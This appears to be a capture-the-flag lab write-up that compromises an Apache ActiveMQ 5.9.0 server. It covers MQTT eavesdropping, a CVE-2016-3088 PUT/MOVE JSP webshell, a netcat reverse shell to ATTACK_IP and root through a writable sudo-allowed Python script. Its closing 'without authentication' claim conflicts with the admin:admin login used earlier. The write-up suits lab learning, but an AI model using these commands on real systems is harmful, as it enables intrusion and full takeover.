Broker — MQTT Eavesdrop to Root
An ActiveMQ server with two exposed services: an MQTT broker that lets anyone subscribe, and a management console with a classic put-shell CVE. Paul and Max thought they were being sneaky. Goal: flag.txt + root.txt.
1 · Enumeration
# The hint says the action is on high ports
nmap -sC -sV -p 1001-9999 broker.thm
PORT STATE SERVICE
1883/tcp open mqtt
8161/tcp open http Jetty 9 (Apache ActiveMQ 5.9.0)
2 · ActiveMQ Console
Port 8161 hosts an Apache ActiveMQ dashboard. The default admin:admin works. The Topics tab lists a secret_chat topic — that has to be where the "secret" messages flow.
3 · Eavesdropping on MQTT
The MQTT broker needs no credentials, so we subscribe to the topic with the Mosquitto client and read the conversation.
mosquitto_sub -h broker.thm -t 'secret_chat/#' -p 1883 -V mqttv31
# > Paul and Max chat about... the game "Hacknet"
4 · CVE-2016-3088 — PUT/MOVE Webshell
ActiveMQ's /fileserver accepts an HTTP PUT upload but won't execute what's stored there. So we upload a JSP webshell and MOVE it into /admin, which does execute JSP. First leak the absolute path via the %20 trick.
# Upload cmd.jsp to /fileserver
curl -u admin:admin -X PUT "http://broker.thm:8161/fileserver/cmd.jsp" --data @cmd.jsp -H 'Content-Type: text/plain'
# Leak the absolute path
curl -u admin:admin -X GET "http://broker.thm:8161/fileserver/test/%20/%20"
# > /opt/apache-activemq-5.9.0/webapps/fileserver/
# MOVE the shell into the executable /admin directory
curl -u admin:admin -X MOVE "http://broker.thm:8161/fileserver/cmd.jsp" -H "Destination: http://broker.thm:8161/admin/cmd.jsp"
# RCE
http://broker.thm:8161/admin/cmd.jsp?cmd=id
5 · Reverse Shell
Long bash one-liners often get mangled by URL encoding here. Use nc -e or host a msfvenom-generated ELF and fetch it with curl. Then upgrade the TTY.
# Attacker listener
nc -lvnp 4444
# Payload (URL-encode spaces) through the webshell
nc -e /bin/bash ATTACK_IP 4444
# Upgrade TTY, then read the user flag
python3 -c 'import pty; pty.spawn("/bin/bash")'
cat /home/activemq/flag.txt
# THM{...}
6 · Privesc — Writable Sudo Script
sudo -l shows activemq can run subscribe.py as root with no password — and the file is owned (and writable) by activemq. Append code that drops a shell.
sudo -l
(root) NOPASSWD: /usr/bin/python3.7 /opt/apache-activemq-5.9.0/subscribe.py
ls -l /opt/apache-activemq-5.9.0/subscribe.py
-rw-rw-r-- 1 activemq activemq 768 subscribe.py
echo 'import os; os.system("/bin/bash")' >> /opt/apache-activemq-5.9.0/subscribe.py
sudo -u root /usr/bin/python3.7 /opt/apache-activemq-5.9.0/subscribe.py
# > root shell
root@broker:~# cat /root/root.txt
# THM{...}
7 · What Made It Work
Step 4 is the one to remember. PUT gives you a write primitive into a directory that won't execute, and MOVE gives you the rename into a directory that will. Neither half does anything useful, and CVE-2016-3088 is what you get when both are reachable without authentication.